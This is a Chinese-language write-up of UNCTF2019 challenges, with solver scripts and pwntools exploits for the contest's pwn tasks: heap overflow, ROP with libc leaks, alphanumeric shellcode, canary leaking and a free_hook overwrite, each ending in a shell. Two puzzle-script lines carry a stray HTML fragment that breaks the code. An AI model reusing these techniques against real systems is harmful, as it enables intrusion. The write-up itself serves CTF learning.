UNCTF2019 Writeup

有一说一,一周的比赛真的好长啊2333

WEB题多但是啥也不会233tcl

REVERSE

unctf_babyre2

虽然是个300分的题,但是由于看不出来第二个加密是啥加密,得手撸。。。还是有那么一点麻烦orz

ida打开可以看到,输入除了判断了UNCTF{},整个输入被-分成两个部分。

re_babyre2.png

前半部分输入可以直接通过动态调试得到pre_part的内容,然后把异或后的input的idx弄清楚以后,就得到了。

后半部分应该是一个常用的加密,但是不知道名字,之前某次见到过,然而脚本也没留orz直接把ida代码dump下来,然后修改一下运算逻辑,跑就是了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <stdlib.h>

unsigned int num[291] ={ 27, 93, 66, 43, 13, 5, 72, 230, 53, 22, 158, 181, 187, 227, 36, 15, 19, 192, 89, 150, 90, 18, 43, 224, 143, 33, 140, 82, 222, 146, 18, 132, 163, 226, 110, 123, 118, 162, 15, 81, 147, 169, 120, 171, 95, 94, 22, 130, 114, 130, 38, 209, 38, 212, 9, 191, 116, 218, 167, 62, 153, 2, 101, 195, 179, 173, 224, 90, 171, 122, 131, 147, 63, 164, 17, 61, 142, 13, 223, 90, 113, 8, 58, 200, 244, 144, 22, 27, 136, 198, 80, 111, 209, 164, 179, 115, 123, 130, 191, 178, 95, 148, 222, 202, 90, 94, 171, 37, 190, 140, 27, 128, 101, 158, 236, 90, 55, 42, 117, 44, 45, 186, 86, 208, 186, 58, 182, 148, 129, 112, 135, 117, 61, 72, 99, 125, 82, 129, 57, 181, 35, 212, 211, 221, 75, 217, 184, 53, 163, 202, 64, 119, 82, 124, 158, 108, 66, 216, 83, 111, 234, 46, 12, 154, 243, 42, 106, 213, 234, 107, 147, 47, 24, 92, 190, 150, 180, 38, 15, 219, 159, 7, 48, 175, 147, 52, 39, 142, 10, 202, 83, 183, 201, 143, 155, 64, 135, 84, 80, 83, 30, 85, 6, 4, 135, 201, 94, 120, 160, 63, 102, 8, 176, 9, 110, 131, 229, 108, 35, 230, 116, 131, 1, 164, 127, 98, 57, 9, 148, 50, 211, 136, 147, 97, 194, 198, 97, 107, 40, 199, 97, 221, 219, 144, 169, 213, 216, 138, 164, 160, 101, 193, 53, 65, 186, 207, 74, 71, 202, 175, 81, 225, 114, 90, 191, 30, 179, 122, 128, 242, 122, 203, 37, 230, 152, 150, 27, 83, 68, 216, 60, 172, 18, 177, 100, 71, 53, 0, 255};

#define __ROR__(x, y) (((unsigned int)(x)>>y)|((unsigned int)(x)<<(32-y)))
#define __ROL__(x, y) (((unsigned int)(x)<<y)|((unsigned int)(x)>>(32-y)))

typedef unsigned char uint8;
#define _BYTE uint8
#define BYTEn(x, n) (*((_BYTE*)&(x)+n))
#define BYTE1(x) BYTEn(x, 1)
#define BYTE2(x) BYTEn(x, 2)


int __cdecl sub_401500(int a1, char a2)
{
return __ROR__(a1, a2);
}

int __cdecl sub_401511(int a1, char a2)
{
return __ROL__(a1, a2);
}

int __cdecl sub_401B51(unsigned int a1)
{
int v1; // ST14_4
int v2; // ebx
int v3; // ebx
int v4; // ebx

v1 = (num[BYTE2(a1)] << 16) | (num[BYTE1(a1)] << 8) | num[(unsigned __int8)a1] | (num[a1 >> 24] << 24);
v2 = sub_401500(v1, 6);
v3 = sub_401500(v1, 8) ^ v2;
v4 = sub_401511(v1, 10) ^ v3;
return v4 ^ sub_401511(v1, 12);
}

int main()
{
int res[16] = {204,34,127,82,82,39,170,72,52,114,95,208,15,39,107,57};
int re[30];
int i;
for(i=0;i<4;i++)
{
re[26+i] = res[i*4] << 24;
re[26+i] += (res[i*4+1] << 16);
re[26+i] += (res[i*4+2] << 8);
re[26+i] += res[i*4+3];
}
for(i=25;i>=0;i--)
{
re[i] = re[i+4] ^ sub_401B51(re[i+3]^re[i+2]^re[i+1]);
}
for(i=0;i<4;i++)
{
re[i] = _byteswap_ulong(re[i]);
}
for(i=0;i<4;i++)
{
printf("%x ",re[i]);
}
return 0;
}

奇怪的数组

分析程序发现是个简单的对比题。

re_qgdsz.png

char2hex函数将0-9a-f转换为十六进制的值,由两个字节组成一个字节,然后跟checkbox作比较。相等就行。打开checkbox直接抄就行。。。

easyvm

Orz,是麻烦的虚拟机题。。。没啥说的,静态分析就有点麻烦,结合动态调试找到主要逻辑就行。

re_easyvm.png

程序是单字节判断的,(应该可以用pintools来单字节爆破2333),就是先减去自己的序号,然后跟0xCD异或,在跟一个中间量异或,最后中间量跟一个数据表中的数字异或,要求结果为0。实际上中间量就是上一次的数据表。调试拿到数据表以后反写逻辑就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
a = [0xf4,0x0a,0xf7,0x64,0x99,0x78,0x9e,0x7d,
0xea,0x7b,0x9e,0x7b,0x9f,0x7e,0xeb,0x71,
0xe8,0x00,0xe8,0x07,0x98,0x19,0xf4,0x25,
0xf3,0x21,0xa4,0x2f,0xf4,0x2f,0xa6,0x7c]

r = []
mid = 0
for i in range(32):
b = a[i] ^ 0xcd ^ mid
mid = a[i]
r.append(b + i)

print ''.join(chr(i) for i in r)

unctf_easy_Maze

拖进ida分析发现,这个迷宫在输入路径之前就初始化好了,而且根据v9的长度以及7来看,是个7x7的迷宫。

re_easy_maze2.png

然后就通过动态调试的到迷宫就行。

re_easy_maze.png

然后看图发现应该是左上和右下是两端,试试就行。。。

1
2
3
4
5
6
7
1001111
1011001
1110111
0001100
1111000
1000111
1111101

Easy_Android

反汇编打开jar文件以后,可以比较明显的看到判断流程。

首先输入的长度为32,然后将输入与flag{this_is_a_fake_flag_ahhhhh}逐字节异或,然后4个一组计算md5值,与给定的md5进行比较。最开始用的全可打印字符爆破,后边发现只有0123456789abcdef,换了以后试了一下,飞速出结果orz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/python
#-*- coding:utf-8 -*-

import hashlib
import string

res = ["2061e19de42da6e0de934592a2de3ca0","a81813dabd92cefdc6bbf28ea522d2d1",
"4b98921c9b772ed5971c9eca38b08c9f","81773872cbbd24dd8df2b980a2b47340",
"73b131aa8e4847d27a1c20608199814e","bbd7c4e20e99f0a3bf21c148fe22f21d",
"bf268d46ef91eea2634c34db64c91ef2","0862deb943decbddb87dbf0eec3a06cc",
"7a59d932e8184ae963c40a759cc38fec"]

def get_cmp(cont, idx):
md5 = hashlib.md5()
md5.update(cont)
if md5.hexdigest() == res[idx]:
return True
else:
return False

alp = string.printable

def get_range(idx):
fake = 'flag{this_is_a_fake_flag_ahhhhh}'
i = ord(fake[idx*4])
j = ord(fake[idx*4 + 1])
k = ord(fake[idx*4 + 2])
l = ord(fake[idx*4 + 3])
for a in alp:
print '[*]'+a
aa = ord(a)
for b in alp:
bb = ord(b)
for c in alp:
cc = ord(c)
for d in alp:
dd = ord(d)
res = chr(aa ^ i)
res += chr(bb ^ j)
res += chr(cc ^ k)
res += chr(dd ^ l)
if get_cmp(res, idx):
ans = a+b+c+d
print '[-]'+ans
return ans

flag = ''
for i in range(0, 8):
flag += get_range(i)

print flag

666

分析是一个简单的异或,反着运算就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
enc = 'izwhroz""w"v.K".Ni'

key = 0x12

flag = ''

for i in range(key//3):
idx = i * 3
flag += chr((ord(enc[idx]) ^ key) - 6)
flag += chr((ord(enc[idx+1]) ^ key) + 6)
flag += chr((ord(enc[idx+2]) ^ key) ^ 6)

print(flag)

BabyXor

ida打开发现程序加了壳,在手动脱壳的过程中发现flag跟输入是明文比较的。

re_babyxor.png

继续运行,就能把整个flag得到

PWN

babyheap

很基础的堆题,新建修改查看删除功能都有,主要漏洞就是修改的时候有堆溢出。

在新建堆的时候在堆块上写入了puts函数的地址,然后查看的时候直接调用这个地址。

这样通过修改这个地址为system,堆块内容改为’/bin/sh’就能getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/python
#-*- coding:utf-8 -*-

from pwn import *
import sys
import LibcSearcher

if len(sys.argv) == 1 or sys.argv[1] == "g":
p = process("./pwn")
if len(sys.argv) != 1:
gdb.attach(p)
else:
p = remote("101.71.29.5",10052)

elf = ELF("./pwn",checksec=False)
context.log_level = "debug"

ru = lambda x : p.recvuntil(x)
rv = lambda x : p.recv(x)
sl = lambda x : p.sendline(x)
sd = lambda x : p.send(x)

def menu(idx):
ru('Your choice: ')
sl(str(idx))

def create(content):
menu(1)
ru('Plz input content: ')
sl(content)

def edit(idx, size, content):
menu(2)
ru('Plz input index: ')
sl(str(idx))
ru('Plz input size: ')
sl(str(size))
ru('Plz input content: ')
sd(content)

def show(idx):
menu(3)
ru('Plz input index: ')
sl(str(idx))

def dele(idx):
menu(4)
ru('Plz input index: ')
sl(str(idx))

create('aaa')
payload = 'a'*0x17 + 'b'
edit(0, len(payload), payload)
show(0)

ru('aaaab')
puts_addr = u64(rv(6).ljust(8,'\x00'))
libc = LibcSearcher.LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')

payload = '/bin/sh\x00'.ljust(0x18,'\x00') + p64(sys_addr)
edit(0, len(payload), payload)
show(0)

p.interactive()

babyrop

有一说一,一血两分钟之内也太强了orz

程序有两个判断要绕过,第二个返回地址的绕过可以通过ret的gadget来绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python
#-*- coding:utf-8 -*-

from pwn import *
import sys
import LibcSearcher

if len(sys.argv) == 1 or sys.argv[1] == "g":
p = process("./pwn")
if len(sys.argv) != 1:
gdb.attach(p)
else:
p = remote("101.71.29.5",10041)

elf = ELF("./pwn",checksec=False)
context.log_level = "debug"

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
ret_addr = 0x0804853D
ret_gad = 0x0804839e

p.recvuntil('Hello CTFer!\n')
p.sendline('a'*0x20 + p32(0x66666666))

p.recvuntil('What is your name?\n')
payload = '\x00'*0x14 + p32(ret_gad) + p32(puts_plt) + p32(ret_addr) + p32(puts_got)
p.sendline(payload)

puts_addr = u32(p.recv(4))
libc = LibcSearcher.LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
str_addr = libc_base + libc.dump('str_bin_sh')

p.recvuntil('What is your name?\n')
payload = '\x00'*0x14 + p32(ret_gad) + p32(sys_addr) + p32(ret_addr) + p32(str_addr)
p.sendline(payload)

p.interactive()

EasyShellcode

一开始还以为跟HackerGame一样的,然后发现要求全字母数字orz。好在找到了Veritas501师傅博客上的一个编码脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python
#-*- coding:utf-8 -*-

from pwn import *
import sys
import LibcSearcher

if len(sys.argv) == 1 or sys.argv[1] == "g":
p = process("./pwn")
if len(sys.argv) != 1:
gdb.attach(p)
else:
p = remote("101.71.29.5",10080)

elf = ELF("./pwn",checksec = False)
context.log_level = "debug"

payload = 'WTYH39Yj0TYfi9XVWAXfi94WWAYjZTYfi9TVWAZjdTYfi9BgWZjWTYfi9WU0T8A0t8B0t8F0t8G0t8H0T8LRAPZ0T8MZ0t8Q0t8R0T8S0t8U0t8V0t8W0t8X0t8YjmTYfi9wFRAPZ0T8AZRAPZ0t8DZRAPZ0t8EZ0t8GRAPZ0T8HZ0T8KRAPZ0T8LZRAPZ0T8NZ0t8P0t8R0t8SjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP'

p.recvuntil('say?')
p.sendline(payload)

p.interactive()

EasyStack

这个题泄露Canary的方式有点像查找,不断缩小区间就行,然后就是常规的ROP题了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/python
#-*- coding:utf-8 -*-

from pwn import *
import sys
import LibcSearcher

if len(sys.argv) == 1 or sys.argv[1] == "g":
p = process("./easystack")
if len(sys.argv) != 1:
gdb.attach(p, 'b *0x08048A25\nc')
else:
p = remote("101.71.29.5",10036)

elf = ELF("./easystack",checksec = False)
context.log_level = "debug"

canary = 0

def final_value(st, ed):
value = [st*0x100 for i in range(300)]
for i in range(300):
mid = ed - i
if mid < st:
mid = st
value[299-i] = mid*0x100
p.recvuntil('calc')
p.sendline('301')
for i in range(300):
p.recvuntil('num')
p.sendline(str(value[i]))
p.recvuntil('num')
p.sendline('0')
p.recvuntil(' is ')
num = 299 - int(p.recvuntil('\n'))
log.info('canary '+hex(value[num]))
p.recvuntil('y or n')
p.sendline('y')
return value[num]


def get_value(st, ed):
step = (ed - st) / 300
step = step
value = [(st + step * i)*0x100 for i in range(300)]
p.recvuntil('calc')
p.sendline('301')
if value[0] == 0:
value[0] = 1
for i in range(300):
p.recvuntil('num')
p.sendline(str(value[i]))
p.recvuntil('num')
p.sendline('0')
p.recvuntil(' is ')
num = 299 - int(p.recvuntil('\n'))
log.info(hex(value[num]) + ' ' + hex(value[num+1]))
p.recvuntil('y or n')
p.sendline('y')
return value[num], value[num + 1]

a1, b1 = get_value(0, 0x1000000)
a2, b2 = get_value(a1//0x100, b1//0x100)
canary = final_value(a2//0x100, b2//0x100)

log.success('canary '+hex(canary))

p.recvuntil('calc: ')

payload = [1 for i in range(300)]
payload.append(canary)
for i in range(3):
payload.append(0x0804A020)

cout_addr = 0x8048750
cout_adds = 0x0804A0C0
tar_addr = 0x08049FF4

calc_addr = 0x080488E7

payload.append(cout_addr)
payload.append(calc_addr)
payload.append(cout_adds)
payload.append(tar_addr)
payload.append(0)

p.sendline(str(len(payload)))
for i in range(len(payload)):
p.recvuntil('num')
p.sendline(str(payload[i]))
p.recvuntil('y or n')
p.sendline('y')

rc = p.recvuntil('How')
print len(rc)
__ctoul = u32(rc[2:6])
log.success('strtoul '+hex(__ctoul))
libc = LibcSearcher.LibcSearcher('strtoul',__ctoul)
libc_base = __ctoul - libc.dump('strtoul')
sys_addr = libc_base + libc.dump('system')
str_addr = libc_base + libc.dump('str_bin_sh')

fini = [1 for i in range(300)]
fini.append(canary)
for i in range(3):
fini.append(0x0804A020)

fini.append(sys_addr)
fini.append(calc_addr)
fini.append(str_addr)
fini.append(0)

p.sendline(str(len(fini)))
for i in range(len(fini)):
p.recvuntil('num')
p.sendline(str(fini[i]))
p.recvuntil('y or n')
p.sendline('y')

p.interactive()

Box

这个堆题,不知道是不是出题人有疏忽,因为可以直接通过输入负数的idx,来获取libc addr和修改bss的值,这样就把bss上指针指向free_hook再修改成system就行。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/python
#-*- coding:utf-8 -*-

from pwn import *
import sys
import LibcSearcher

if len(sys.argv) == 1 or sys.argv[1] == "g":
p = process("./Box")
if len(sys.argv) != 1:
gdb.attach(p)
else:
p = remote("101.71.29.5",10035)

libc = ELF('./x64_libc.so.6',checksec=False)
elf = ELF("./Box",checksec=False)
context.log_level = "debug"

ru = lambda x : p.recvuntil(x)
rv = lambda x : p.recv(x)
sl = lambda x : p.sendline(x)
sd = lambda x : p.send(x)

def menu(idx):
ru('Your Choice: ')
sl(str(idx))

def create(idx, size):
menu(1)
ru('ID: ')
sl(str(idx))
ru('Size: ')
sl(str(idx))

def edit(idx, content):
menu(2)
ru('ID: ')
sl(str(idx))
ru('Content: ')
sd(content)

def dele(idx):
menu(3)
ru('ID: ')
sl(str(idx))

create(3, 0x60)
edit(3, '/bin/sh')

ru('Done!')
sleep(1)
payload = p64(0xfbad1800) + p64(0)*3 + '\x40'
edit(-12, payload)

libc_base = u64(rv(8)) - 0x3c5640
log.success('libc base '+hex(libc_base))
sys_addr = libc_base + libc.sym['system']
free_hook = libc_base + 0x3C67A8
stderr = libc_base + 0x3C5540
one_gadget = libc_base + 0x4526a

payload = p64(free_hook)
ru('Done!')
sleep(1)
edit(-27, payload)

ru('Done!')
sleep(1)
edit(-27, p64(one_gadget))

ru('Done!')
sleep(1)
dele(3)

p.interactive()

Soso_easy_pwn

通过观察栈帧的分布,可以再第一次的输入的时候布置好返回地址,然后再第二次输入的时候输入3来避免对返回地址的修改。

然后功能上有一点bug,就算输出1或者2也没有执行对应的函数。。。这样第二次随便输入就行。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python
#-*- coding:utf-8 -*-

from pwn import *
import sys
import LibcSearcher

if len(sys.argv) == 1 or sys.argv[1] == "g":
p = process("./pwn")
if len(sys.argv) != 1:
gdb.attach(p)
else:
p = remote("101.71.29.5",10009)

elf = ELF("./pwn",checksec=False)
context.log_level = "debug"

tar_off = 0x9CD
p.recvuntil('Welcome our the ')
off = int(p.recvuntil(' ').strip())
tar_addr = (off << 16) + tar_off + (1 << 12);
log.info('tar addr '+hex(tar_addr))

payload = 'a'*4 + 'b'*4 + 'c'*4 + p32(tar_addr)
p.recvuntil('So, Can you tell me your name?')
p.send(payload)

p.recvuntil('Please input your choice:(1.hello|2.byebye):')
p.sendline('3')

p.interactive()

MISC

快乐游戏题

题如其名,快乐玩耍就行。

misc_klyxt.png

Hidden secret

下载压缩包是三个文件,使用HxD打开查看额,发现0304、0102、0506字节开头,各加上’PK’后连接起来,得到一个压缩包。打开后是一张图片。其中藏着一个压缩包,打开后发现一个txt文件,用base92解码就能得到。

1
"K<jslc7b5'gBA&]_5MF!h5+E.@IQ&A%EExEzp\\X#9YhiSHV#"

EasyBox

这个数独稍微有那么一点点坑2333竟然只要行列满足关系就行,只好自己手写深搜解数独。解完就有flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *

p = remote('101.71.29.5',10011)
context.log_level = 'debug'


def get_visible(idx, maze):
res = []
ix = idx//9
iy = idx%9
for num in range(1, 10):
flag = 1
for i in range(9):
if maze[ix][i] == num or maze[i][iy] == num:
flag = 0
break
if flag == 1:
res.append(num)
return res


def get_empty(maze):
res = []
for i in range(9):
for j in range(9):
if maze[i][j] == 0:
res.append(i*9+j)
return res


def get_response(maze, able):
for i in range(9):
print(maze[i])
for i in range(9):
p.recvuntil('answer :\n')
ans = ''
flag = 0
for j in range(9):
if able[i][j] == 1:
if flag == 1:
ans += ','
ans += str(maze[i][j])
flag = 1
if ans == '':
ans += '0'
p.sendline(ans)


def get_start(undo, maze, able):
if len(undo) == 0:
get_response(maze, able)
return True
case = [0 for i in range(81)]
while len(undo) != 0:
point = undo.pop()
if case[point] == 1:
undo.append(point)
return False
case[point] = 1
visi = get_visible(point, maze)
if len(visi) == 0:
undo.append(point)
return False
ix = point // 9
iy = point % 9
for num in visi:
maze[ix][iy] = num
if get_start(undo, maze, able):
return True
else:
pass
maze[ix][iy] = 0
undo.insert(0, point)


p.recvuntil('Fill in missing numbers regularly, separated by commas.\n')
maze = [[0 for i in range(9)] for j in range(9)]
able = [[0 for i in range(9)] for j in range(9)]
for i in range(9):
p.recvuntil('+-+-+-+-+-+-+-+-+-+\n')
for j in range(9):
p.recvuntil('|')
idx = p.recv(1)
if idx == ' ':
maze[i][j] = 0
able[i][j] = 1
else:
maze[i][j] = int(idx)
able[i][j] = 0

undo = get_empty(maze)
get_start(undo, maze, able)

p.interactive()

信号不好我先挂了

首先是一张图片,丢进Stegsolve,发现是LSB,提取出来后跟原图看起来差不多,Stegsolve查看发现是盲水印,去github里找了个工具,解出来就是flag。

查看红色、绿色、蓝色的0通道,可以发现是LSB。

misc_xhbhwxgl.png

盲水印

misc_xhbhwxgl2.png

flag

misc_xhbhwxgl3.png

puzzle

题目给了提示png和拼图,那应该就是按照png的格式把数据块连接起来。在网上找了下png的结构,题目还给了图片大小400x400和RGB颜色。直接QQ截图得到一张400x400的图,这样头部就不用怎么改了,但是要改颜色,把06改成02,因为原本不是RGB。

然后就是写脚本连接了,如果顺序是对的就会多一块。一块一块连上就行了。

misc_puzzle.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
head = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x00\x00\x01\x90\x00\x00\x01\x90\x08\x02\x00\x00\x00\x00\x00\x00\x00'
tail = b'\x00\x00\x00\x00\x49\x45\x4E\x44\xAE\x42\x60\x82'

idx = [26, 17, 20, 5, 9, 25, 2, 1, 11, 13, 16, 21, 22, 3, 15, 7, 18, 8, 24, 6, 12, 4, 19, 23, 10, 14]

middle = b''
for i in idx:
file_name = 'chunk (' + str(i) + ').data'
with open(file_name, 'rb') as mid:
content = bytes(mid.read())
if i == 14:
middle += b'\x00\x00\x13\x47'
else:
middle += b'\x00\x00\x28\x00'
middle += b'IDAT'
middle += content
middle += b'\x00\x00\x00\x00'

out = 1
for i in range(26):
if (i+1) in idx:
continue
out = 0
file_name = 'chunk (' + str(i+1) + ').data'
with open(file_name, 'rb') as mid_file:
content = bytes(mid_file.read())
content_size = len(content)
if i == 13:
chunk = b'\x00\x00\x13\x47'
else:
chunk = b'\x00\x00\x28\x00'
chunk += b'IDAT'
chunk += content
chunk += b'\x00\x00\x00\x00'
out_name = 'out_' + str(i+1) + '.png' style='zoom:50%'
with open(out_name, 'wb') as out_file:
out_file.write(head+middle+chunk+tail)

if out == 1:
with open('final.png' style='zoom:50%', 'wb') as f:
f.write(head+middle+tail)

Think

代码中有个check(checknum),应该是检测,把checknum换成1,再次运行就行。

misc_think.png

亲爱的

题目给了给MP3文件,先用binwalk查看,发现有zip文件,提取出来后,解压需要密码。

misc_qad2.png

使用HxD打开,发现最后有一条信息,去qq音乐(打钱)找到对应时间的评论是“真的上头”,作为解压密码。得到一张图片。

misc_qad.png

再次使用binwalk,发现还有隐藏的东西,提取出来之后在/word/media文件夹下找到flag

无限迷宫

这个题真的魔鬼吧。。。

首先去网上找了个走迷宫的python脚本,然后通过把黑线加粗至跟白色区域的宽度,这样就能简单的转换成01矩阵。由于题目给的迷宫还挺方正的,通过对角线就能计算出白色区域的宽度。通过小范围内的颜色来确定起点和终点。然后就是使用linux下的unzip命令来完成解压,再加上网上找的改文件名和删除文件的python代码,最后写个while 循环来调用这个脚本来完成自动化跑迷宫233333

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
from PIL import Image
import numpy as np
import sys
import os

sys.setrecursionlimit(10000)


def fix(tout):
res = ''
mid = '0'
for i in tout:
if mid != i:
res += i
mid = i
else:
mid = '0'

print(res)
final()


def translate(sol):
tmp = sol[0]
tot = len(sol)
res = ''
for i in range(1, tot):
if (tmp[0] == sol[i][0]) and (tmp[1] > sol[i][1]):
res += '3'
elif (tmp[0] == sol[i][0]) and (tmp[1] < sol[i][1]):
res += '4'
elif (tmp[0] > sol[i][0]) and (tmp[1] == sol[i][1]):
res += '1'
else:
res += '2'
tmp = sol[i]
fix(res)


# 用来判断坐标是否合法
def check_valid(mg, x, y):
if x >= 0 and x < len(mg) and y >= 0 and y < len(mg[0]) and mg[x][y] == 1:
return True
else:
return False


# 迷宫结果优化
def process(step):
# 先识别哪些无路可走的点的下一个点
change_records = []
for i in range(len(step) - 1):
if (abs(step[i][0] - step[i + 1][0]) == 0 and abs(step[i][1] - step[i + 1][1]) == 1) or \
(abs(step[i][0] - step[i + 1][0]) == 1 and abs(step[i][1] - step[i + 1][1]) == 0):
pass
else:
change_records.append(i + 1)
# print(change_records)

# 然后根据这些点识别出这个点的最远回退点
clip_nums = []
for i in change_records:
for j in range(i):
if (abs(step[j][0] - step[i][0]) == 0 and abs(step[j][1] - step[i][1]) == 1) or \
(abs(step[j][0] - step[i][0]) == 1 and abs(step[j][1] - step[i][1]) == 0):
break
clip_nums.append((j, i))
# print(clip_nums)

# 注意回退点之间的包含关系, 逆序处理, 是为了规避顺序对列表进行处理后下标偏移的问题
record = []
for i in clip_nums[::-1]:
if not (i[0] in record or i[1] in record):
step = step[:i[0] + 1] + step[i[1]:]
record += list(range(i[0], i[1]))
# print(step)
translate(step)


step = []


def final():
print("Walk success!")
files = os.listdir('.')

for filename in files:
portion = os.path.splitext(filename)
if portion[1] == '.zip':
os.remove(filename)

for filename in files:
portion = os.path.splitext(filename)
if portion[1] == '.jpg':
newname = portion[0] + '.zip'
os.rename(filename, newname)

sys.exit()


def walk(mg, x, y, ex, ey):
global step
if x == ex and y == ey:
step.append((x, y))
process(step)
# sys.exit()

if check_valid(mg, x, y):
step.append((x, y))
mg[x][y] = 2
walk(mg, x, y + 1, ex, ey)
walk(mg, x, y - 1, ex, ey)
walk(mg, x - 1, y, ex, ey)
walk(mg, x + 1, y, ex, ey)


def is_black(color):
if color[0] <= 30 and color[1] <= 30 and color[2] <= 30:
return True
else:
return False


def is_start(color, y, x):
for i in range(6):
for j in range(6):
if (abs(color[y+i-3][x+j-3][0] - 198) <= 30) and (abs(color[y+i-3][x+j-3][1] - 47) <= 30) and (abs(color[y+i-3][x+j-3][2] - 36) <= 30):
return True
return False


def is_end(color, y, x):
for i in range(6):
for j in range(6):
if (abs(color[y+i-3][x+j-3][0] - 255) <= 30) and (abs(color[y+i-3][x+j-3][1] - 212) <= 30) and (abs(color[y+i-3][x+j-3][2] - 83) <= 30):
return True
return False


def get_block(imgz, size):
ans = 0
for i in range(5, size[0]):
if is_black(imgz[i][i]):
ans = i
break
l_block = size[0] // ans
return l_block


def to_maze(imgs, size):
maze = []
print(size)
l_block = get_block(imgs, size)
measure = size[0] // l_block
# print(str(measure))
# measure = eval(input('line'))
linx = (size[0] // measure) * 2
liny = (size[1] // measure) * 2
sy = 0
sx = 0
ey = 0
ex = 0
for idy in range(liny):
line = []
y = int(idy * (measure / 2))
for idx in range(linx):
x = int(idx * (measure / 2))
if is_black(imgs[y][x]):
line.append(0)
else:
line.append(1)
if is_start(imgs, y, x):
sy = idy
sx = idx
if is_end(imgs, y, x):
ey = idy
ex = idx
if idy % 2 == 0:
ey -=1
maze.append(line)
print(str(sy) + ' ' + str(sx) + ' ' + str(ey) + ' ' + str(ex))
# print(maze)
walk(maze, sy, sx, ey, ex)


if __name__ == '__main__':
r_img = Image.open('flag.jpg')
img = np.array(r_img.convert('RGBA'))
to_maze(img, (len(img[0]), len(img)))
r_img.close()

CRYPTO

ECC和AES基础

首先通过解ECC得到AES的密钥。

通过爆破得到ECC的私钥,然后解密得到AES的密钥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# filename: solver.sage

M = 15424654

E=EllipticCurve(GF(15424654874903),[16546484,4548674875])

G=E(6478678675, 5636379357093)
K=E(2854873820564,9226233541419)

X = G

for i in range(1, M):
if X == K:
secret = i
print "[+] secret:", i
break
else:
X = X + G
print i

#secret = 2019813

c2=E(6860981508506,1381088636252)
c1=E(1935961385155,8353060610242)
#题目的给的c1、c2要交换。。。
m = c2 - (c1 * secret)

print 'aes_key:'+str(m[0])

#aes_key = 1026

然后将结果带到AES解密脚本中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python
#-*- coding:utf-8 -*-

from Crypto.Cipher import AES
import base64

phi = '/cM8Nx+iAidmt6RiqX8Vww=='
key = bytes('1026'.ljust(16, ' '))

aes = AES.new(key, AES.MODE_ECB)

cip = base64.b64decode(phi)
pla = aes.decrypt(cip)
print pla

然后按照提示上的POST到指定网站,得到回复,提交即可。

不仅仅是RSA

也是魔鬼吧,两分钟的摩斯电码。。。

然后通过openssl得到n和e,再就是通过最大公因数计算得到q,然后就计算得到p。这样就能解出来了。

1
2
3
4
5
6
7
